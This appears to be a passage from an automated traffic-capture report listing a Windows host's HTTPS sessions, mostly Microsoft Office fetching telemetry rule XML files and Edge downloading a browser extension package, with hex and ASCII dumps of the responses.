2024-11-23 18:52:48 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:48 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:48 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 957844e9-801e-008c-4868-3b7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185248Z-178bfbc474b9fdhphC1NYCac0n00000004r000000000ffu0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:48 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:48 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:48 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 04c68412-701e-000d-5268-3b6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185248Z-178bfbc474btrnf9hC1NYCb80g000000050000000000bth1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:48 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	49840	13.107.246.63	443	7952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:50 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:50 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185250Z-174c587ffdf7t49mhC1TEB4qbg00000003a0000000004v3v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:50 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49837	142.250.181.65	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:50 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 18:52:50 UTC	572	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC6yVOwyk7g1jiqsmfjA01qhSbaMtE9VtJmsX1G6BySuuC0waZlyNBEBa1DRoPAH67Pj62KIAH14mg X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Sat, 23 Nov 2024 16:45:00 GMT Expires: Sun, 23 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 7670 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-23 18:52:50 UTC	818	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-23 18:52:50 UTC	1390	IN	Data Raw: b2 be 56 5f e7 71 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c Data Ascii: V_q:__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|
2024-11-23 18:52:50 UTC	1390	IN	Data Raw: b5 a1 c8 fb ee 81 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU
2024-11-23 18:52:50 UTC	1390	IN	Data Raw: 3e aa 67 36 b6 c2 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce Data Ascii: >g6}oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~
2024-11-23 18:52:50 UTC	1390	IN	Data Raw: 3f c7 20 98 a3 4a ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af Data Ascii: ? Jc$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-23 18:52:50 UTC	1390	IN	Data Raw: 3d 5b 7f a3 9a c1 c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 Data Ascii: =[C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8Q
2024-11-23 18:52:50 UTC	1390	IN	Data Raw: 12 87 56 cb 68 4b 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 Data Ascii: VhKn=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@
2024-11-23 18:52:50 UTC	1390	IN	Data Raw: 15 60 c1 98 b9 ab 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 Data Ascii: `cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6
2024-11-23 18:52:50 UTC	1390	IN	Data Raw: a2 77 74 f9 39 14 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 Data Ascii: wt9o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/mess
2024-11-23 18:52:50 UTC	1390	IN	Data Raw: c2 b3 df 74 6f 40 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 Data Ascii: to@Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:50 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:50 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 6fd3b960-801e-00ac-6c64-3bfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185250Z-178bfbc474bgvl54hC1NYCsfuw00000004s000000000km51 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:52:50 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:50 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:52:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:52:50 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 171aa64f-101e-005a-5b63-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185250Z-178bfbc474bmqmgjhC1NYCy16c0000000500000000004pf2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
